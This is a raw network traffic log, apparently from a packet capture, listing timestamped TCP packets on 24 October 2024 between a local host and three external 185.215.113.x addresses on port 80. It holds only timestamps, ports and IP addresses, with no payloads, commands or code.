Oct 24, 2024 11:02:37.700387001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700392962 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700396061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700407982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700419903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700422049 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700431108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700434923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700464010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700535059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700547934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700558901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700570107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700581074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700587988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700592995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700603008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700614929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700615883 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700625896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700637102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700654030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700654984 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700673103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700679064 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700685978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700694084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700695992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700706005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700720072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700722933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700731039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700741053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700747013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700756073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700767994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700768948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700781107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700789928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700802088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700803995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700814009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700824022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700829983 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700835943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700845003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700846910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700858116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700867891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700875044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700880051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700891018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700900078 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700902939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700913906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700922012 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700925112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700934887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700939894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700947046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700958967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700967073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.701132059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701143980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701155901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701167107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701178074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701184034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.701188087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701200008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701210976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701214075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.701221943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701235056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.701248884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.701277018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.736310005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736332893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736344099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736393929 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.736417055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.736418009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736430883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736462116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736474037 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.736558914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736571074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736582994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736593962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736613035 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.736639977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.736664057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736676931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736701965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736702919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.736713886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.736738920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.777645111 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.912341118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.995428085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.995480061 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:38.398103952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:41.396286011 CEST	49831	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:41.402230978 CEST	80	49831	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:41.402329922 CEST	49831	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:41.406142950 CEST	49831	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:41.411644936 CEST	80	49831	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:41.797534943 CEST	49832	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:41.802906990 CEST	80	49832	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:41.803035021 CEST	49832	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:41.806838036 CEST	49832	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:41.812808037 CEST	80	49832	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:42.299998045 CEST	80	49831	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:42.300062895 CEST	49831	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:42.310805082 CEST	49831	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:42.316234112 CEST	80	49831	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:42.594388962 CEST	80	49831	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:42.594516039 CEST	49831	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:42.725250006 CEST	80	49832	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:42.729196072 CEST	49832	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:44.247759104 CEST	49832	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:44.248142004 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:44.253638983 CEST	80	49848	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:44.253761053 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:44.253859043 CEST	80	49832	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:44.254010916 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:44.254029989 CEST	49832	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:44.259432077 CEST	80	49848	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:45.181365013 CEST	80	49848	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:45.181457043 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:45.264790058 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:45.270555973 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:45.270667076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:45.271101952 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:45.276720047 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184722900 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184746981 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184756041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184803009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184808016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.184813976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184823990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184835911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184838057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.184843063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184853077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184870005 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.184886932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.184887886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.184926033 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.190366030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.190376043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.190386057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.190418959 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.190460920 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.345526934 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.345546961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.345567942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.345578909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.345592022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.345607042 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.345652103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.345679045 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.346129894 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.346148968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.346174955 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.346188068 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.346213102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.346225023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.346251011 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.346265078 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.346759081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.346807003 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.347019911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347033024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347058058 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.347069979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.347094059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347105026 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347132921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.347156048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.347460985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347471952 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347502947 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.347524881 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347536087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347547054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.347568035 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.347584009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.348380089 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.348391056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.348401070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.348423004 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.348464966 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.348485947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.348525047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.351013899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.351058960 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.351361036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.351406097 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.421637058 CEST	49831	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:46.508305073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508322001 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508332968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508367062 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.508404970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.508440971 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508452892 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508460045 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508466959 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508533955 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.508555889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508594990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.508722067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508733988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508764029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.508872032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.508917093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509123087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509134054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509145975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509155989 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509165049 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509167910 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509196043 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509217978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509282112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509325027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509620905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509633064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509643078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509654999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509671926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509706974 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509800911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509812117 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509823084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509838104 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.509846926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509871960 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.509989977 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510001898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510030985 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510068893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510334969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510345936 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510380030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510592937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510621071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510639906 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510648966 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510657072 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510679007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510690928 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510701895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510710001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510715961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510725975 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510729074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510763884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510780096 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.510879040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.510924101 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.511526108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.511538029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.511548996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.511560917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.511570930 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.511571884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.511584044 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.511589050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.511595964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.511621952 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.511637926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.511662006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.511706114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.668565035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668589115 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668601036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668615103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668627024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668638945 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668652058 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668685913 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.668704987 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668716908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668725967 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.668729067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668740034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668741941 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.668751001 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668765068 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668767929 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.668776035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668788910 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668798923 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.668801069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668812037 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668817997 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.668824911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.668844938 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.668872118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.669142962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669153929 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669166088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669178963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669190884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669192076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.669203043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669210911 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.669238091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.669678926 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669689894 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669701099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669712067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669729948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669734001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.669740915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669754028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669763088 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.669764996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.669786930 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.669822931 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670229912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670248032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670260906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670272112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670284986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670294046 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670294046 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670295954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670308113 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670319080 CEST	49854	80	192.168.2.6	185.215.113.16
